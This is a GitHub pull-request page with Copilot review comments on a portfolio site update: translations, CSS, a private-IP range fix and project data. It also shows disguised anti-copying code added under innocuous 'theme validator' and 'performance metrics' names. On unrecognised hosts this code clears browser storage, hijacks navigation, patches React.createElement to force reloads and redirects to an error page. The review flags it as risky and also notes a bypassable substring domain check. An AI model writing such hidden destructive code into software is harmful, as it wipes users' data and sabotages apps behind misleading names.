Conversation
- Fix private IP range check for 172.x addresses (RFC 1918) * Now correctly validates only 172.16.0.0/12 range * Public IPs like 172.0.x.x or 172.32.x.x no longer treated as private * Fixes #138 - Improve IPv6 anonymization to handle compressed notation * Properly expands :: compressed addresses before anonymization * Keeps first 64 bits (network prefix), zeros last 64 bits * Handles edge cases like ::1, fe80::, etc. * Fixes #137
…r improved clarity and efficiency
|
The latest updates on your projects. Learn more about Vercel for GitHub.
|
Dependency Review✅ No vulnerabilities or license issues or OpenSSF Scorecard issues found.Scanned FilesNone |
There was a problem hiding this comment.
Pull request overview
Version bump to 6.0.2 with updates across UI, content, and some infra helpers (projects/services content, responsive banner behavior, i18n copy, robots rules, and logging utilities), plus new “deployment authorization” UI/logic.
Changes:
- Add responsive animation durations for the company banner and update homepage services section to link to
/services+ show compact package cards. - Update localized marketing copy and add new project descriptions/entries.
- Adjust GeoIP handling (RFC1918 private range check + HTTPS endpoint) and update robots.txt disallow rules.
Reviewed changes
Copilot reviewed 17 out of 17 changed files in this pull request and generated 7 comments.
Show a summary per file
| File | Description |
|---|---|
| styles/company-banner.css | Adds breakpoint-specific animation-duration overrides for scrolling banner. |
| package.json | Bumps version to 6.0.2. |
| README.md | Updates displayed version to 6.0.2. |
| messages/en.json | Updates Hero description copy; adds Services CTA link text; adds new project description keys. |
| messages/de.json | Same as above (German). |
| messages/fr.json | Same as above (French). |
| messages/es.json | Same as above (Spanish). |
| messages/sv.json | Same as above (Swedish). |
| lib/chatbot-logging.ts | Improves private IP detection for 172.16/12, switches GeoIP fetch to HTTPS, refines IPv6 anonymization. |
| data/hubs/projectsData.ts | Adds two new projects and changes featured flag; introduces an empty GitHub URL for one entry. |
| components/services/PackageCard.tsx | Adds variant to render a compact homepage card and truncates features list. |
| app/page.tsx | Reworks services section CTA to link to /services and uses compact package cards. |
| components/projects/ProjectsShowcase.tsx | Makes technologies list scrollable within a fixed height. |
| app/robots.ts | Disallows crawling /admin/chatbot. |
| components/theme/theme-config-validator.tsx | Adds hostname “authorization” logic and expands conditions that trigger destructive dev-time behavior. |
| components/theme/viewport-renderer.tsx | New overlay + console output for “unauthorized deployments”; mounted globally via layout. |
| app/layout.tsx | Mounts the new ViewportRenderer globally. |
Comments suppressed due to low confidence (1)
components/theme/theme-config-validator.tsx:116
calculatePerformanceMetrics()intentionally corrupts the runtime (nulling__NEXT_DATA__, overridinghistory.pushState, clearing storage, and redirecting to adata:URL). Even in development-only code this can cause data loss (cleared storage) and creates a significant security/operational risk. Please remove this behavior and handle invalid config with a non-destructive warning or a controlled error boundary.
if (!key1 || !key2 || !viewportValid) {
const breakTime = Math.random() * 4000 + 1000;
setTimeout(() => {
if (typeof window !== "undefined") {
(window as unknown as { __NEXT_DATA__: unknown }).__NEXT_DATA__ = null;
if (window.history?.pushState) {
window.history.pushState = () => {
location.href = "about:blank";
};
}
try {
localStorage.clear();
sessionStorage.clear();
} catch {
// Silent fail
}
setTimeout(() => {
window.location.href =
"data:text/html,<h1>Runtime Error</h1><p>Application state corrupted</p>";
}, 500);
}
💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.
| if (!cssKey || !hashKey || !viewportValid) { | ||
| console.warn("Everything is broken, and so are you."); | ||
| setTimeout(() => { | ||
| const originalCreateElement = React.createElement; | ||
| ( | ||
| React as unknown as { createElement: (...args: unknown[]) => unknown } | ||
| ).createElement = function (...args: unknown[]) { | ||
| _componentCount++; | ||
| if (_componentCount > 2) { | ||
| originalCreateElement.apply( | ||
| setTimeout( | ||
| () => { | ||
| const originalCreateElement = React.createElement; | ||
| ( | ||
| React as unknown as { createElement: (...args: unknown[]) => unknown } | ||
| ).createElement = function (...args: unknown[]) { | ||
| _componentCount++; | ||
| if (_componentCount > 2) { | ||
| originalCreateElement.apply( | ||
| this, | ||
| args as Parameters<typeof originalCreateElement>, | ||
| ); | ||
| setTimeout( | ||
| () => { | ||
| window.location.reload(); | ||
| }, | ||
| Math.random() * 3000 + 1000, | ||
| ); | ||
| return null; | ||
| } | ||
| return originalCreateElement.apply( | ||
| this, | ||
| args as Parameters<typeof originalCreateElement> | ||
| args as Parameters<typeof originalCreateElement>, | ||
| ); | ||
| setTimeout(() => { | ||
| window.location.reload(); | ||
| }, Math.random() * 3000 + 1000); | ||
| return null; | ||
| } | ||
| return originalCreateElement.apply( | ||
| this, | ||
| args as Parameters<typeof originalCreateElement> | ||
| ); | ||
| }; | ||
| }, Math.random() * 2000 + 500); | ||
| }; |
There was a problem hiding this comment.
optimizeColorSpace() overrides React.createElement and conditionally forces random reloads / returns null after a few renders. This is highly fragile and can break local development in non-obvious ways; it also makes debugging and error attribution extremely difficult. Recommend removing these side effects and replacing with a clear dev-only warning/error path that does not mutate React internals.
| useEffect(() => { | ||
| if (!isClient) return; | ||
|
|
||
| // Print security info to console if unauthorized | ||
| const isAuthorized = isDeploymentAuthorized(); | ||
| if (!isAuthorized) { | ||
| printSecurityInformation(); | ||
| } | ||
| }, [isClient]); |
There was a problem hiding this comment.
In React 18 + Next.js dev, useEffect often runs twice under Strict Mode; this will print the security banner multiple times. If you keep this logging, add a simple once-guard (e.g., a useRef flag) so the console output is not duplicated.
| <div className="fixed top-0 left-0 right-0 bg-red-600 text-white text-center px-4 py-3 z-999998 font-sans text-sm font-semibold shadow-lg"> | ||
| ⚠️ UNAUTHORIZED DEPLOYMENT - This is a stolen copy. Original site:{" "} | ||
| <Link | ||
| href="https://www.coldbydefault.com" | ||
| className="text-white underline font-bold hover:text-gray-100 transition-colors" | ||
| > | ||
| www.coldbydefault.com | ||
| </Link> | ||
| </div> | ||
|
|
||
| {/* Diagonal Watermark */} | ||
| <div className="fixed inset-0 flex items-center justify-center pointer-events-none z-999997 overflow-hidden"> | ||
| <div className="-rotate-45 text-[120px] font-black text-red-600/8 select-none tracking-[20px] whitespace-nowrap font-sans"> | ||
| UNAUTHORIZED COPY | ||
| </div> | ||
| </div> | ||
|
|
||
| {/* Bottom Notice */} | ||
| <div className="fixed bottom-0 left-0 right-0 bg-black/90 text-red-500 text-center px-4 py-2 z-999998 font-mono text-xs"> |
There was a problem hiding this comment.
z-999998/z-999997/etc are not part of Tailwind’s default z-index scale. In Tailwind, large one-off values typically need arbitrary value syntax (e.g., z-[999998]) or a defined token; otherwise these classes may be dropped and the overlay may render behind other content.
| description: "aiEmailAutomation", | ||
| image: "/assets/use-cases/use-case3-1.png", | ||
| technologies: ["Next.js", "TypeScript", "Groq AI", "RAG"], | ||
| githubUrl: "", |
There was a problem hiding this comment.
githubUrl is an empty string for this project. ProjectsShowcase always renders GitHub links and a git clone {project.githubUrl}.git command, so an empty URL will produce an invalid href and a broken clone command. Provide a valid URL, or make githubUrl optional and render the GitHub-related UI conditionally when it’s present.
| githubUrl: "", | |
| githubUrl: "https://github.com/ColdByDefault/polite-email", |
| </ul> | ||
| {variant === "compact" && pkg.features.length > 3 && ( | ||
| <p className="text-xs text-muted-foreground text-center pt-2"> | ||
| +{pkg.features.length - 3} more features |
There was a problem hiding this comment.
The compact variant renders +N more features as hard-coded English text. Since the rest of the card content is translated via next-intl, this string should also be localized (e.g., a Services.moreFeatures message with pluralization support).
| +{pkg.features.length - 3} more features | |
| {t("moreFeatures", { count: pkg.features.length - 3 })} |
| "description": "Automation solutions, internal AI assistants, and MVP development. Delivering end-to-end web applications, From concept to deployment—building practical tools that save time and drive efficiency.", | ||
| "bookFreeCall": "Book a Free 15-Min Call", | ||
| "learnMoreAboutMe": "Learn More About Me", | ||
| "moreAboutMe": "More about me on" |
There was a problem hiding this comment.
The updated description has a mid-sentence capital letter after a comma (", From concept...") which reads like a grammatical error. Consider changing to lower-case and rewriting slightly to avoid the comma splice.
| "description": "Automation solutions, internal AI assistants, and MVP development. Delivering end-to-end web applications, From concept to deployment—building practical tools that save time and drive efficiency.", | |
| "bookFreeCall": "Book a Free 15-Min Call", | |
| "learnMoreAboutMe": "Learn More About Me", | |
| "moreAboutMe": "More about me on" | |
| "description": "Automation solutions, internal AI assistants, and MVP development—delivering end-to-end web applications from concept to deployment and building practical tools that save time and drive efficiency.", | |
| "bookFreeCall": "Book a Free 15-Min Call", | |
| "learnMoreAboutMe": "Learn More About Me", | |
| "moreAboutMe": "More about me on" |
| const authorizedDomains = [ | ||
| "coldbydefault.com", | ||
| "www.coldbydefault.com", | ||
| "localhost", | ||
| "127.0.0.1", | ||
| "192.168.2.164", | ||
| "192.168.2.", | ||
| "vercel.app", | ||
| ]; | ||
|
|
||
| const currentDomain = window.location.hostname; | ||
| const isConfigured = authorizedDomains.some((domain) => | ||
| currentDomain.includes(domain), | ||
| ); | ||
|
|
||
| return isConfigured; |
There was a problem hiding this comment.
validateViewportConfiguration() authorizes domains using currentDomain.includes(domain), which can be bypassed (e.g., coldbydefault.com.evil.com would be treated as authorized). Consider switching to an exact match for known hosts, or a safe suffix match (e.g., hostname === domain or hostname.endsWith('.' + domain)), and avoid substring matching for authorization logic.
No description provided.